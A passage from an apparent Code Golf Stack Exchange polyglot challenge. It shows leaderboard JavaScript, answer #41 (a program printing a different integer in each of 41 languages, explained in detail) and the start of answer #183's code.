';\n });\n \n var match = body.match(SCORE_REG);\n if (match)\n valid.push({\n user: getAuthorName(a),\n size: +match[2],\n language: match[1],\n link: a.share_link,\n score: getScore(match[1].split(\".\")[0],+match[2]).toFixed(5),\n });\n else console.log(body);\n });\n \n valid.sort(function (a, b) {\n var aB = a.size,\n bB = b.size;\n return aB - bB\n });\n var languages = {};\n var place = 1;\n var lastSize = null;\n var lastPlace = 1;\n valid.forEach(function (a) {\n if (a.size != lastSize)\n lastPlace = place;\n lastSize = a.size;\n ++place;\n \n var answer = jQuery(\"#answer-template\").html();\n answer = answer.replace(\"{{PLACE}}\", lastPlace + \".\")\n .replace(\"{{NAME}}\", a.user)\n .replace(\"{{LANGUAGE}}\", a.language)\n .replace(\"{{SIZE}}\", a.size)\n .replace(\"{{LINK}}\", a.link);\n answer = jQuery(answer);\n jQuery(\"#answers\").append(answer);\n var lang = a.language;\n lang = jQuery(''+lang+'').text();\n \n languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang, user: a.user, size: a.size, link: a.link, score: a.score};\n });\n var langs = [];\n for (var lang in languages)\n if (languages.hasOwnProperty(lang))\n langs.push(languages[lang]);\n langs.sort(function (a, b) {\n return a.lang_raw.split(\".\")[0] - b.lang_raw.split(\".\")[0];\n });\n for (var i = 0; i < langs.length; ++i)\n {\n var language = jQuery(\"#language-template\").html();\n var lang = langs[i];\n language = language.replace(\"{{LANGUAGE}}\", lang.lang)\n .replace(\"{{NAME}}\", lang.user)\n .replace(\"{{SIZE}}\", lang.score)\n .replace(\"{{LINK}}\", lang.link);\n language = jQuery(language);\n jQuery(\"#languages\").append(language);\n }\n}\n```\n```\nbody { text-align: left !important}\n#language-list {\n padding: 10px;\n width: 400px;\n float: left;\n}\ntable thead {\n font-weight: bold;\n}\ntable td {\n padding: 5px;\n}\n```\n```\n\n\n
\n

Scores from The Versatile Integer Printer

\n \n \n \n \n \n \n
LanguageUserScore
\n
\n\n \n \n \n
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
\n\n \n \n \n
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n[Answer]\n# 41. [brainf\\*\\*\\*](http://esolangs.org/wiki/brainfuck), 916 bytes\n```\n# 4\"16\" 3//v\\(@#/;\\D\"14\"<;n4\n#/*`3 afaaZ\">;[77*,68*,@;'1,'1,q)(22)S# ‚êâ‚êâ‚êâ‚êâ (\n#yy‚êâ;36!@\n#`<` ‚êâ\n#=‚êâx\n#<]+<[.>-]>[\n#‚êâ<\n###xR+++++[D>+++++++L+++<-][<<<]>+.---.>][\n#px%>~~~+‚êâ+~*ttt*.x\n#D>xU/-<+++L)\n#R+.----.R‚êâ>]|\n#[#yy#yy0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_)\n#|‚êâ\nprint((eval(\"1\\x2f2\")and(9)or(13 ) )-(0and 4)^1<<(65)>>(62))or'(\\{(\\{})(\\{}[()])}\\{}\\{}\\{})'#46(8+9+9+9+9+=!)#1111|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>++.--.]/\n__DATA__=1#//\n#.\\.\"12\"‚êâ*\n###; console.log 39\n\"\"\"\"#//\n=begin‚êâ//\n#*/\n#define‚êâz sizeof 'c'-1?\"38\":\"37\"\n#include\nint main() /*/\n#()`#`\\'*/{puts(z);}/*'``\n$'main'‚êâ//\n#-3o4o#$$$\n<>\"3\"O.<‚êâ>//\n#\n=end #//\n\"\"\"#\"#//\n#0]#echo 21#/(\\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) a>>>\n#>27.say# /7Jn~15o| \n#8‚êõdggi2‚êõ`‚êâ|1|6$//''25 =#print(17) ###^_^_LEintnd\"3\"z!]/}23!@/*///Z222999\"26\n```\n`‚êâ` is a literal tab, `‚êõ` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the \"input\" box of the TIO link below, if you want to work on it.\n[Try it online!](https://tio.run/nexus/bash#lVnJdttIsl0Lv1CbNEiLAEFMpC0PIGjJtlzHVa4qP8v2e8ckJYFAkoSFgQWAEjWe3nafXvS@N2/Z/9Hb/or@keobCU6aXF2wCCQyIyMiYw74twpd7H0anY6itGAFzwsWZOExzwz28pRte2H@uNmSJAGVpcHUD5MRK8achclkWrBhGPFc8r2CddhkjsWgAauwjHtBCSYN04zRFhYfRSxk/mTCBpE3NnyA5WlMSwXPJhnHPWcJ5wHLJ9wPh6EvSDA@K3iSh2mSGyz0j9hJGEUs4BE2rOj6DSBj03xtqqRiSEEqMVz@5AaXy7cqB0zCFyflEy8TJ03ZRBx7ceCTzJtMwKRUYXtgvAhjnrOwqOWMe3lI4sOWnCeBENJkKdiUecn6Kdlx6DEP/E4zgTvnWYHjGQIvG/OMA6VHxEeZFzPlJAsLiIBkuMPecy9jHzPOVVCB7HnuexPwcY0kiKVEoaCDGEJH7XZt95c3Neiq3GF4k0KqZK2P//OD5DHDZdUDBz9Xlh1p9@fX7LzaozG4ADLoc5IpnsrcK5abvR7Hb2YPzFF2KQGrBKlEzEwnhQnMXlaAvdVIP24ak2iNLGvf0MSa/ZRQAXTB3ibsc0Ocy59mGQcXK5F6RzhylCYjSBNHzaYJSSNhWxYU4KdJkDcYP4bM0qTUUHoi5PtxHEJlOSnEG0A8nk@SL21fiBPWD8uby3NBN0@jqYDDzrwg84NMsJUwvh2yz2zohRFtwTqhKrnOeD6NCtozTQLSexwmPDDYgg0/DQgoTo9BzgNSMQF3idecTDAFYKghFUelpX//7e/BaAQ8O76fZsHcWD@zIPWnMRj2BLMeDJHMNU28SLAFuAZRL7eDwLEXhYFXEPnkdE5CMCGonqTTKGApCGYnIRxr7B3DGYdD7he8NPF0WoDHBou9ozI0hKXd4uCxN4BiBQFBWxxbZ9uvoCWflwajx9Ni@JTpk11Wy8195cVz5cWDHgdvqqHWq6Y5cmBtRl1M4a32LcP5vLPSp0Tms8OG/IRFXjKaeiMcMU2wwfN9PinmsoWM8gLSu@kgYlKfe7uRj6Xq9k3KwurncWCNBtll6Ylz3/VIIH4ax1CGHkH/zMtGQkcsCDNIMjq9SR0AxzeIy4cEco2BQ/keFhYhCxbOZ9yfFlAEb7CTceiP2YngLilVWfrNTfKYWqcOY9SHS9LEjN3ZbEqGuZwiNu5FoZOib@NBPCBUnWsTwibWJ8oDIibvUT6AES8CMDnJKkkszw5h/EDhJeO/TiFc@Go4SgjES5bBe82@wzypweHDPISEKAyHWPn49hfy6v/lZSaCjMqItO6SKfISts/DLC0sBCZxf5wyPWG1OQ@KLKLiV7Bl5pkvBvpaKpBVA9JSSGpiaYHoa5lYb4ZF1rkNJ0jWGqwry/0GIlGUQ93JNIrwMk2EPyhcPYdd@DzPDRg33NagnALuZI2rl9cBi3GWnjB@qTq1u8gJhXzEmd8h@rJ3IQJnOkSsXuVwkfFnlK16kjw5LcZp0rpuvPJqpVmmjc9m7MERJ6d3O7S8jkps@ClMjlLSvBkvRgeWYT@@hgIVx@2dwzAfi9s10Fts3V4Ru/N4MBS3OwASMq0b8hILcZqkJXFIKEw884N4GHDQuzi47gfXyL/kUNWI689a5iBMzAEf3gf55uXLtwJmOBiE9wFBDFRYLZ53gGXTwV1SGnj5@FacZNfk/HGaFZEemAU9@b/@FEDet7Ux9k5zpNKj5eAg4SekGX14r3LmW@lF3O5W5NdphDLrd3D4HqVPL1oO7sb1nH3gsHakt0RUV@A0iuCOEBkCxm1zhidE04AvnncjFTK8Hm7L3UkY67DlLcMSCsQrpZAJ1cL3YLmRM0o0VHVkUeoFZlkHhnyl0VL2fOaN0uTUXAtIRjb4L1hdhHW2KvyK8bSYlneq9n5Pd@GEft9ywTmk9Xjnpb07f9wDDya27rPd0m0yRBf9TeQdmQMaHgwxvPuo5WGycITScvG8D4znIvDogzQ90styPjeRaVHwTDyfC@2tXu@0q5@QrSNU9Hs/f9p7/00DExSBLYvK@53o3iY@slhS/D4miCEStz9imcJQfC@CebZK46SGTF@TY3hD8pE3OKUOYvzHjYyojjSN6emq8F/1e5PJ/Zt8/@5NZUco9vkpCln@e2kJuSWMcdxmsDa812jCVEfCSnLy1CwvLW04hYBubRBJ9INoWpa1IjqWstfCXJjNa@t82b5WVqss8VDyIevSeFH9OGX5nY9F1Y4qO0C4@JSEot5Bl1AWmw02QAUjQvM//xHMm5kRL3IWhzmK9VFC7TcqynF68qKkO6e@g64YdRShgPlFZUGkv9ph@UlY@OOyhUHh8OnNx6dUIg344iMAXt5TmFhjojw2loZgAQ2IKIhLZoKUl6Y7p7vctTiTj2YsTthJGBTj3GB7IfoJSCtbVtbgJCOwpMhSMv0Ge8sCTn4h6rmvU5QsETxWVJHEyT//wXwvFwUxkIFrjBfkRRu4RpHBsG3R0qP1moLrBZIznqVzEIVkjMJlComcwvF4Oa8yf@xRQUMfWPRFJ0Rkym7o1c4e09EK0UcMaoyccKhUdz58/7lr9dF3xyaSqEmFnJCb/FB/Yudygy1AnEuO0m992cLyarXG5OpMnh@LGmbRHy5tqrQ3ptBYqGvRwsSi1xZmx09ECwPRorWmuoyaWNTNeYFXVaBWkHVjlMb6XsEe0xceDlFgVHbljL6ZgJIAZdUZu2BjMhLdZ/ZjC2@lJCLqCGN3Veys15fmaz6Yiqh83DSaLVeco3rgtjtilPEgpbaxu98L@ma@EEevN3toNWckr02TvGX359fnVaNjXVzk3qksX9bUtY9AuzM4MoyBmnHRTEv0YYhElU6Law0ejH9ctiLoT5b6zZdtBbE0JOuMcE5qkkUqyOmgjIRpsJ0ohzUFAcQ0OC1IujCrspNYthNyhSXG0tUbTJZufc2ivbkw2PkXDrTdWSZ4GKOsKh0fihH@dSL6e9glPNowDOnEJxUIFHe15j1u/vtvfy/b8V6B8Z/n4yHGfy3H@yap1LzVo5cHuSW/tbQYXguD85PfwQUDsf@/g4kE47@U427P0q/6d30quMEGEVzmyo/pEU/ybzTCekEQ4dl6SxzOd6@1xIspOJrSvkZdLbv1lU7lqi2DxgqvL92qsdaJLnLaksT6zttHW1gnRDsv8pAY6OsboF7BQ8LiOdv@kScJP2UKXCT2slPmTZH5MrWx@PLbWH6tua2R3dp5lKIQqJqOcD3nEsI/7LFe0Rv2EtKAc2p@Zxqmc65UI/fUNE1f7SjVsWtrrbqmVZO6Uk10W1U3N8ljL6u5Wz0wZEOeAUivRqoD31OqnltNnKrXVqqB26yLHXjVNPUcG65y0zivepdmdRNG0MBMxo/hfFyp5irFZcsw7Evw9zUNk6rZiL3JuSIzeUbf/oh8NdQ04sGoHhADV2ZvTwPnsKk9U8QJZ27X5ih2RCSp3bCq336rMPZItrdk1jLN456yXTGd3mvZfiS3neSRVDHrhy3mDT3vi9xxuk@e1BtbT@uNbadmN/D3q6o0m@oecLANXEyRKqenG05r68G2VDlsH7INqeJuzKRKu6@1u0ZH73e6UmWjTUFq9kGjq/u6o5XXO/zaer/bbrf7Hc3Qdd3o9AE@mT3sXF1daRvaVb0oiroBfK87s0@m3qZdqlT5IKB148NGp38hVbpgAn9WZMUzyz6yjzAKZ9bXmTW2xnZg2/Z7i3@yBjNrYKV2gDvHP2uGYWgNZ9bISqzEtmdWioE/s3wMhriPaGkIJF/xL7Qswk0kYiuyxWVZyv4B@LnYkIS0FYUfe5Ei271Zc9iUVQRT5ZkKu7BbkJjKVF2xKMA@UvftdlvZeqx2OspWUwVITemd4@9SpVtXUfvqJQbln1qrPNpSnmrP5v/cB2qFyF@4pmubzUfuzH3WbVe1bU3fxuV2tPb88aIiBGv0Teng4PXOx52DA9eumKZUMXqGbDfljTqpxhFpMY24EaUjxlrPJBkXwbkDPgqTDdpRxy/gQ@SAjTPGcvgyKrqaX9PtF3Lrqfxcbj2RpQocnjrINvXaqTHuSOTi9K1EUWGWhENRDyuHvVrdPKd6UTlTnUuzXjs8lKo1gqsJYnorfZRWqtWq1O7ILfkXo73RoXnJpf@uQEWAF2JRMFmx@hURpZo4m9Lrvtl51bDbeqUpBnufXlbo7fHqtYnXFr2@2/1@98Pu7v817Pfvdnf2dr9/@3n30/tyDH69TqcjVTrNJwZyboWZT35IruzH6QWqrcrT74LRKGx@d7hxYV9sVU2zVms@ZsytlJZgP1EZJLt/sH/wbhcTSYBjnD3om5fN1oNtCMI0vzSbzWfPnsnNrd9M81txHqvLIIgmIMun8V1RcCcLf/IoRyfLSIjBT1ME3aVeGCkmCgekmWtzpbLWp8R/xWBupUEaoGj1G6JwYHXq4rt9lZ2L8igcMoVWkcnssraiCyXQNEuY5UglELV6znIIKmRIzCUAmqQoqISu7bCwTcjwRPCcU6BrsUNzaRjxRBFchH3VWcIsOelg9xova/s1rQS/LNkqz@PHQXnscm35CvZiahZ8Zb5bvQGAehUwtZ5Vmx/zvzkGsreyxNBgf/gYN/YjT6iLMwkWVovz@ZUqLqV60YgdiY5dnzjSj4qvnlP@cq7izU1/f9KN@44auwU9NS12LqUjJSxB6oUbu7rtTMCsU3Q1Ley7sfqjMhHMx64FYNAmzLl6vtR04s7VlauNs26iXyX9xptuotn9xrRR/@KeNTzXaszwg9gaUeNXCG8hSqVwz7TE8dr4USq9JomJm2uec22KthwpkXvW9fqupToRNmraGxwGfObdSNP6KohHWLy90Yk2Nz0t6sycSNdVgtpvvXjTLTDoay69P1e89uzFWXeK/c8VPF2QiVQwj33XdQB84M@BjEv1rVgveZwRezOwF7tu/cuL@pe6@@DBWXemx/1GKf7n1krxxPyMmF@3EaX@Zd2whEhED6HID8PnD416zuQGrA9CbkzWdpYc1r9gZbLyhsv/AA \"Bash ‚Äì TIO Nexus\")\nVIP Score (Versatile Integer Printer): 0.01329\n## Rundown\nThis program prints **41** in brainf\\*\\*\\*, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtl√®d, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3.\n## Verification\nMost of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required.\nThe Test Driver has been updated to include the Tokenizer, finally. All the C code is stored as an argument from the Bash Script‚Äôs perspective. I also changed the output to wrap horizontally with a trailing space after each token instead of outputting vertically. This was just my preference, to make it match the Whitespace output. But anyone else can change it if they feel like it‚Äôs too confusing. \nI also made a Test Driver adjustment to handle column spacing for Turtl√®d‚Äôs UFT8 char in the rundown. That misalignment was driving me nuts! The ‚Äúfix‚Äù is pretty hack-ish since it just looks for an √® and changes the column width for that case, but it gets the job done. \n## Explanation\nFirst off, I want to say how awesome @SnoringFrog‚Äôs [Versatile Integer Printer](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer) Score Rundown code snippet from the last post was. I‚Äôve been calculating answers before posting for a while, and this has re-inspired me keep it small. I think we can beat @sp3000‚Äôs answer eventually. \nSo I started working on this answer by trying to golf down what I could and I was pretty successful. I even had an answer in a different language with a total byte count smaller than #40. But as I tried to golf down Minimal-2D, I had to learn BF so I could better work with its derivatives and in the process I found @Primo‚Äôs record breaking [Hello, World!](https://codegolf.stackexchange.com/questions/55422/hello-world/68494#68494). I fell in love the elegance. \nMinimal-2D, it turned out, was not efficient enough to utilize the tape initializing technique used by @Primo, but I‚Äôm of the opinion now that it would probably be too byte heavy anyways. We are only trying to print an integer after all. But @Primo did send me down the path to learning how to multiply in BF, which I brought to the Minimal-2D‚Äôs code.\nThen after all this, I re-read @SnoringFrog‚Äôs comment about how to include BF and realized that not only could I do it, but I could use much of the Minimal-2D code I had golfed down in the BF answer. So I dug in to answer with BF, and here we are. \nOne more thing before I get into the details. There were a couple changes I made for non-golf reasons. First, I moved the bulk of the code @SnoringFrog added to just below the 2D languages in the top several rows. To me, it is a long term strategic move to prevent 2D-langs from traversing the center of the polyglot in order to prevent future bugs where possible. The byte hit was low for this move, so I went for it. \nSecond, during the various re-factors I learned that the Begunges and Minkolang output a trailing space after numeric outputs and that this was the cause of the null bytes we‚Äôve been seeing in the Test Driver for these languages. I fixed these by outputting the stack‚Äôs value as an ascii code (which did not include the trailing space feature), instead of the value directly. There was a small byte hit for this change as well, but now the Test Driver‚Äôs output is so uniform. How could I not? \n**SM/BF**\nLet‚Äôs quickly go over the basics. These are the only valid commands for SMBF and BF:\n```\n> Move the pointer to the right\n< Move the pointer to the left\n+ Increment the memory cell under the pointer\n- Decrement the memory cell under the pointer\n. Output the character signified by the cell at the pointer\n, Input a character and store it in the cell at the pointer\n[ Jump past the matching ] if the cell under the pointer is 0\n] Jump back to the matching [ if the cell under the pointer is nonzero\n```\nBoth languages have a memory tape where values are stored and changed. SMBF‚Äôs only difference is that whatever code is being executed is also stored on the memory tape to the left of the starting point. As @SnoringFrog pointed out, getting SMBF and BF to produce different results hinges on moving the memory pointer to the left of the origin. In Tio‚Äôs BF interpreter, the memory pointer is capable of moving left of the origin and will find 0‚Äôs instead of the Polyglot‚Äôs ascii codes that SMBF sees. [Here](https://tio.run/nexus/smbf#@68NB1wkMPVs9Oz0HP7/BwA)‚Äôs an example that can be run in both SMBF and BF to exemplify the difference. \nAt the start of the polyglot, the Befunges require the `>` on the second row to run to completion and Perl6 requires that every `>` be preceded by a `<`. So SM/BF start with `<>` to leave the memory pointer at the origin, then hit a `[` which jumps some offensive characters for both languages to the `]` on the 6th row.\nNext, we increment the origin memory cell for both languages and move the memory pointer to the left with `+<`. (For conversational convention, we‚Äôll call the origin memory cell as cell 0, cells to the right of the origin 1, 2, ... And cells to the left -1,-2, ‚Ķ). Cell -1 contains the asci code of the last character in the polyglot in SMBF and 0 in BF, so when the next `[` is encountered, only BF jumps to the next `]` while SMBF passes into the code. \nAs SMBF traverses `[.>-]` it prints the 6 found at the end of the polyglot and then moves the memory pointer back to cell 0, setting its value back to zero to exit the `]`. To review, the tapes at this pint are: SMBF‚Äôs negative cells hold the polyglot, and it‚Äôs 0 and positive cells hold zero. BF‚Äôs negative and positive cells hold zero while it‚Äôs origin cell holds 1. \nNext the `>` moves SMBF to cell 1 and BF back to cell 0 allowing BF to enter it‚Äôs private code block: `[<+++++[>++++++++++<-][<<<]>+.---.>]` (I‚Äôve removed the non-BF characters from this). Here, we move back to cell -1 and initialize our loop control variable (cell -1) to a value of 5. Then we enter the loop where we add 10 to cell 0 and decrement cell -1 five times before exiting the loop where we will be pointing at cell -1 with a value of 0. \nNext we encounter `[<<<]` while pointing at a zero, so BF doesn‚Äôt pass through this. The purpose here is to balance a number of `>`‚Äôs with preceding `<`‚Äôs so Perl6 doesn‚Äôt error out. \nAt this point cell 0 is valued at 51. The ascii value of 4 is 52, so we move the pointer to cell 0 add 1, then print the value. And finally, we decrement cell 0 back to the ascii character 1 and print again before setting the memory pointer to cell 1 (value 0) to exit past the `]`. \nSMBF and BF both hit the last `[` on line 8 next while both are resting on a 0 value. So both jump past the remaining Minimal-2D code until the `]` is encountered on line 11. But this is short lived because line 12 starts with another `[` which takes both languages to almost the end of the polyglot where no further instructions are encountered. \n## Refactors\n**Minimal-2D**\nMinimal-2D‚Äôs re-write was mostly to save some bytes in a fashion similar to BF‚Äôs multiplication trick. Minimal-2D however doesn‚Äôt have the `[` and `]` characters for loop control. Instead it has these commands: \n```\n/ Skips next instruction if the data pointer is set to 0.\nU Tells the program to switch to the up direction of processing instructions.\nD Tells the program to switch to the down direction of processing instructions.\nL Tells the program to switch to the left direction of processing instructions.\nR Tells the program to switch to the right direction of processing instructions.\n```\nThese can be used to produce the same logic structure, albeit in a 2D manor, as that of BF. For example, BF‚Äôs `++++++[>++++++<-]>.` is equivalent to [this](https://tio.run/nexus/minimal-2d#@68NBvouCmCg7xNkp8cFYSsEQeVCQ7n@/wcA) in Minimal-2D. \n[Here](https://tio.run/nexus/minimal-2d#@6@MCVy4gESQNghEu9hpQ4APSNCOy8VOOVRf1wYkoMkVpK2nCwR6Qf//AwA) is a simplified version of Minimal-2D‚Äôs code in the polyglot, with all the extraneous code removed and all the place holding characters replaced with `#`.\n```\n###################D\n###R+++++[D>+++++++L\n###>\nD>#U/-<+++L)\nR+.----.R\n```\nThe `D` in line 1 sends the instruction pointer down to the `L` in line 8 of the polyglot which sends the pointer to the left. Here we set the loop control variable (cell 0) to 7, move the memory pointer to cell 1 and enter a loop. In loop, we add 3 to cell 1, decrement cell 0 then check if cell 0‚Äôs value is zero yet. If not, we add another 8 to cell 1 then decrement and check again. The result of this loop is cell 1‚Äôs value is set to 51 at the end of the loop (6\\*8+3).\nWe exit the loop by hopping the `U`, moving the memory pointer to cell 1 and going down then to the right on line 11 of the polyglot. And finally, we increment up to the ascii value for 4 then decrement down to the ascii value for 0 before running off to the right to end the program.\n**Retina**\nRetina had a lot of requirements that were difficult to work with for all the BF derivatives. It doesn‚Äôt like consecutive `+`‚Äôs or mismatched `()` or `[]`. But these are really just requirements for every other line, so a lot of the work for BF, SMBF and Minimal-2D revolved around putting the bulk of the code on even numbered lines. \nThe one byte committed solely to Retina though is the `|` at the end of line 11. To quote @ais523 ‚Äúmost regexes ending with | will match anything‚Äù. Without this, Retina returns 0. Why this fixes it, I don‚Äôt know. I haven‚Äôt had to dig into Retina too much, probably because I‚Äôve been avoiding the long line. But like Prelude, I‚Äôve found I don‚Äôt need to understand it as much as I need to understand how to debug it, which in this case mostly consisted of deleting lines (in multiples of 2) until I‚Äôve found the line that‚Äôs causing it to break. I guessed at this fix based on @ais523‚Äôs comment, and was rewarded. I‚Äôm just too cool for school I guess. \n**Cardinal**\nI happened to like @SnoringFrog‚Äôs placement of Minimal-2D relative to Cardinal‚Äôs code. It‚Äôs a good location considering Cardinal doesn‚Äôt upset Retina, and it seemed to allow some interweaving with Minimal-2D. So when I set out to transplant Minimal-2D up to 2D land, I brought Cardinal along for the ride. There were a couple cosmetic changes to Cardinal though. First, I threw a `>` near the beginning of its statement `#p x%>~~~+ +~*ttt*.x` for Minimal-2D to change memory pointers within its loop/ Second, I shifted everything one character to the right to give Minimal-2D room to exit it‚Äôs loop gracefully. The `p` in this sting is for this character padding. \n**Befunge/98**\nThe Befunges are actually where I started out trying to golf down the polyglot, since the C++ refactor changed all the other 2D lang code, except this one. In trying to learn WTF was going on in this code, I found this in the Begunge documentation:\n> \n> The `.` command will pop a value off the stack and output it as a decimal integer, **followed by a space**, somewhat like Forth. `,` will pop a value, interpret it as the ASCII value of a character, and output that character (**not followed by a space.**)\n> \n> \n> \nHoly moley! We can clean up the null bytes on the output. After this, it was all just a matter of figuring out how to input the larger asci values, and segregating the code. Befunge-98 had a jump code `;` telling it to skip over the `[77*,68*,@` in `;[77*,68*,@;'1,'1,q`, which gave us the segregation. \nBefunge-98 also had a command (`'`) to take the ascii code of the next character. So, `'1,` takes the code asci code for the character `1`, puts it on the stack and then prints the ascii character for the top value on the stack with `,`. Just gotta do this twice to print 11 and drop a `q` to quit out gracefully. \nBefunge proper is a little less convenient, but only just. Here we have to perform a calculation to put the desired code on the stack. Fortunately, our codes were easily multiplied with 7\\*7 and 6\\*8 before the same output command`,`. Then we quit out of Befunge with `@` before its older brother‚Äôs code contaminated the output.\n**Minkolang**\nAfter finding a fix for the Befunge‚Äôs trailing spaces I got pretty hyped up on the idea of finding a Minkolang fix too and Minkolang‚Äôs documentation said that output command that had been used up until this point worked in the same way as the Befunge Interpreter. `O` happened to be documented as another output command, that wasn‚Äôt described as sharing this Begunge-ness, so I just took a shot in the dark and tried outputting the string `\"3\"`. Flawless Victory. \n**><>**\nOne of the first things I looked at when moving the Minimal-2D code was verifying that I could move ><> along with it. If I was going to deal with 2D polyglot transversalism, I was going to deal with all transgressions. I basically luck sacked my way into the solution of putting `;n4` at the end of line 1 and moving the `\\D` further back in line 1. BTW, I didn‚Äôt know that ><> could be directed down before answer 40 since it‚Äôs been so well contained. I‚Äôd like to think this could be used later to diverge ><> from another similar language.\n**Perl6**\nI‚Äôve talked about some of Perl6‚Äôs `<>` balancing issues elsewhere in this answer, so I‚Äôm not going to go over it again. But I do want to point out that I moved `#>27.say#` to the second to last line. This doesn‚Äôt have a functional purpose in this answer. I actually made this move to satisfy a different answer that I ended up not using this round. I decided to just leave it since I plan to post that answer at my next opportunity and I didn‚Äôt want to bother undoing and re-doing it. \n## Bug Fixes\n**05as1e**\n05as1e definitely didn‚Äôt like the new Begunge code as much as the old version. I‚Äôd suppose it‚Äôs the `,`s since that‚Äôs the only revolutionary character. In any event, I had to move the `\"` further back in line two to hide the offensive commands, and I knew that the `\"` had to go prior to the Befunge code path since `\"` was a yes-op in both languages. (I can just make up terms like yes-op right?)\nLine 2‚Äôs 2-dimentionality is pretty rigid, but I was able to displace the `<` prior to Begunge‚Äôs code path with the `\"`. The `<` however was a requirement of Perl6. (It has to have a `<` preceding all `>`s.) I was able to drop the `<` in line one at a location divined by instinct and foreknowledge resolving 05ab1e and Perl6‚Äôs disagreement. \n**Whirl**\nThe Befunge changes on line 2 added an extra `1` to the polyglot prior to the Incident/Whirl line. This extra `1` caused Whirl to start off pointing to the wrong instructions on the wheel. The very first `1` in the C/C++‚Äôs preprocessor directive was only a line number reference in the code, and this could just as easily be any other line number, so I arbitrarily changed this to `4` to satisfy Whirl. \n**Incident**\nThe detokenizing string at the end of the polyglot is well known at this point, so I won‚Äôt go into it. I removed from the string what I could and added the new tokens that were required. There are 2 detokenizing characters that are not in this string though that I should point out. First, the second `R` in `#R+.----.R >]|` is needed here because it‚Äôs a Fusion starting point, and it was safer on this line because there was already a Fusion starting point heading in the same direction. Second, the `x` in `#= x` is to remove a token involved in a `‚êâ‚êä#` pattern, which has become more common. \n**Others**\nHexagony, Whitespace, and Prelude all had the usual minor adjustments, but nothing special worth talking about. \n## Final Thoughts\nThat‚Äôs all I‚Äôve got for this answer. For those looking for a starting point on the next answer, I‚Äôd suggest evil. It seems workable, although I haven‚Äôt looked at it too closely, but I suspect it would not be too hard to integrate. I know it has a jump command that should help skip past the bulk of the polyglot. Good luck. \n[Answer]\n# 183. [Intel 8080](https://en.wikipedia.org/wiki/Intel_8080) boot image (ZEMU), 9870 bytes\n```\n#16 \"?63(o+?50;+'51;' # #@ \" /*\"r\"{\\D-v e-'[fa5.q]PkPPX)\\( 9 '#CO\"14\"^ 92 7 222222222222222222222222 ##*/\n#/*1&7//```\"` [>.>.] )[-'][(7 >77*,68*,@'_ 7 )(22)S / \\iiipsddpsdoh#####(#######?? #### ## ###### #### ###### # #### ####### #### ###### # #### ####### a5# \\7aa*+42@n; 7 999993 1 7 3 1 8 1 1 55 EEEEEŒ¥ŒòŒîŒîŒîŒòŒîŒòŒªa k zzzzkf kf k zzzzzd kf k zzzzza kf bfz coding=utf8 p''53'S^' ! 1>?7–îOq#t#>2/Wr#t#t#q#68#r#t#t#68#q#63#r#t#t#6v#>#J7–î/Wr#y5/Wr#t#t#6y#>-=/Wr#6|#>6/Wr122! 1ÈÄÄ\n#>x#z#111#y#y#y#_#0111118&1& 1111/\"78\"oo@ xxxxxxxxxxx /112\\ ##### ####### # # ##### h#115# o# ##### #### ### #### # # ##### # ##### #### ### #### # # ##### # #\n# 36!@`D e ++++++::@ L R.----._ x-----x ########8=,_## ### ###### ######## #### ##### ####### ##### ### # # #### ### ##### ####### ##### ### # # #### ### ##### #\n#comment -[af] xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ########## ### ## ##### ## #### ## # ##### ## ##### #### ##### ## # ## ## #### ## ##### #### ##### ## # ## ## ####\n#~==RtRtRtMbMbMbPSPSPS # ????!?!??!??!!!!???!?!??!!?!?!!!!!?!!!!?????!????????????????????! \n#[#[]]QhQhQhQrQrQrHnHnHnbqbqbqLzLzLzQtQtQtTcTcTcRQRQRQ #\n#<<<#++R++ ++++++++++++++++++++++++++++++++++++++++++U+++.._+++++++._ #\n############################################################################## 4O6O@\n #-]+-}}[.^x+;;+;;+;;+<>;;+;;+;;+;;;;;;+;;+;;.._]}--<^>++[+++++[>+++++++<-]>._ ++++._+++._^<]+-+<[<<._>>>-]^>[<+++++[>++++++++++<-]>@@+.---@._+>][[\n#{ \n#= \n#* \n#cs \n#2\"\"/* \n#9999 9 9\n#9 999 99 9999 9\n#9 \n# 9 9999\n#`<`(+?+?0l0v01k1kMoOMoOMoOMoOMOOx0l0ix0jor0h0h1d111 0eU0y0yx0moO1d0y0e0e00m1d0i0fx0g0n0n11yxMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOmOotMOo0moo0n0tx0t0moO0f0t0gOOM0g0f0h0j0j0i000x1k1x0vx0v0l11110000011100^_)\\\\\n[ \"`e```.1'.0'.6''i]56pq\\{}26q[puts 59][exit]\" ,'_\\['];#/s\\\\/;print\"24\"; exit}}__DATA__/\n###x<$+@+-@@@@=>+<@@@=>+;?\\:-._++._++++._#/3-++._6+---2._#!\\\n' wWWWwWWWWwvwWWwWWWwvwWWWwWWWW\\WWWWwWWWWwWWWWW/WW\\wWWWWWWWWwwwwvwWW/WwWWWWwvwWWwWWWwvwWWwWWWwvwWWwWWW ho ho ho ho ho ho ho ho 